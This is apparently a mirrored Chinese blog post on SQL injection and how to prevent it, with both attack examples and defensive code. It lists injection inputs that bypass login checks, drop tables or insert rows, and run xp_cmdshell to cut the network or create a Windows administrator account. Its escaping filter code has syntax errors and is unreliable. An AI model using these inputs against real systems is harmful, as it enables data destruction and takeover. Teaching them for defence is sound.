zoukankan      html  css  js  c++  java
  • SQL注入及防范

    一、SQL注入方法

    ①试探数据库

    如在登录框的用户名中输入单引号‘

    ②略过验证

    若知道帐号,则在帐号名的输入框中输入:帐号名’--

    若不知帐号,则在帐号名的输入框中输入:‘OR 1=1 --

    ③执行多个SQL表达式

    利用分号分隔表达式如:

    输入 ‘;drop table表名--

    ‘;insert into表名 values('字段1值','字段2值',……)--   注意此法必须知道所有的字段数

    ;and db_name()>0 --,db_name()是另一个系统变量,返回的是连接的数据库名

    ④执行存储过程

    输入 ‘;exec master..xp-cmdshell 'ipconfig/release' -- 断开网络连接

    ;exec master..xp_cmdshell 'net user name password /add' -- 用net命令新建了用户名为name、密码为password的windows的帐号

    ';exec master..xp_cmdshell net localgroup name administrators /add'-- 将新建的帐号name加入管理员组(只适用于用sa连接数据库的情况)

    二、解决方案:

    ①限定字串长度或输入格式

    :txtUserID.MaxLength=8

    ValidationExpression="\w+"

    ②使用参数

    对于SQL数据库:

    strcmd="Select * From Users where userID=@uid and pwd=@pwd"

    sqlcommand cmd=new sqlcommand(strcmd,con);

    sqlParameter param=cmd.Parameters.Add("@uid",sqlDbType.Varchar,10);

    param.value=TextBox1.Text;

    对于Access数据库:

    string sql="Select userid from test where [user]=? and pwd=?";

                  cmd=new OleDbCommand(sql,conn);

                  OleDbParameter Puser=new OleDbParameter("user",OleDbType.VarChar,50,"user");

                  OleDbParameter Ppwd=new OleDbParameter("pwd",OleDbType.VarChar,50,"pwd");

                  cmd.Parameters.Add(Puser);

                  cmd.Parameters.Add(Ppwd);

                  Puser.Value=this.TextBox1.Text;

                  Ppwd.Value=this.TextBox2.Text;

    ③过滤输入的字符

    à''   [à[[]   %à[%]  -à[-]   _à[_]

    例:

    private string Filter(string strsql)

    {

       string strsql;

       strsql=strsql.Replace("'","''");

       strsql=strsql.Replace("[',"[[]"];

       strsql=strsql.Replace("%","[%]");

       strsql=strsql.Replace("-","[-]");

       strsql=strsql.Replace("_","[_]");

       Return strsql;

    }

  • 相关阅读:
    if语句
    操作列表
    列表
    数据类型(不全)
    windows安装mysql
    hadr启动报错码
    db2主备hadr部署
    java--遍历字符个数
    java--装饰类
    java--继承&接口
  • 原文地址:https://www.cnblogs.com/ahuang1118/p/172508.html
Copyright © 2011-2022 走看看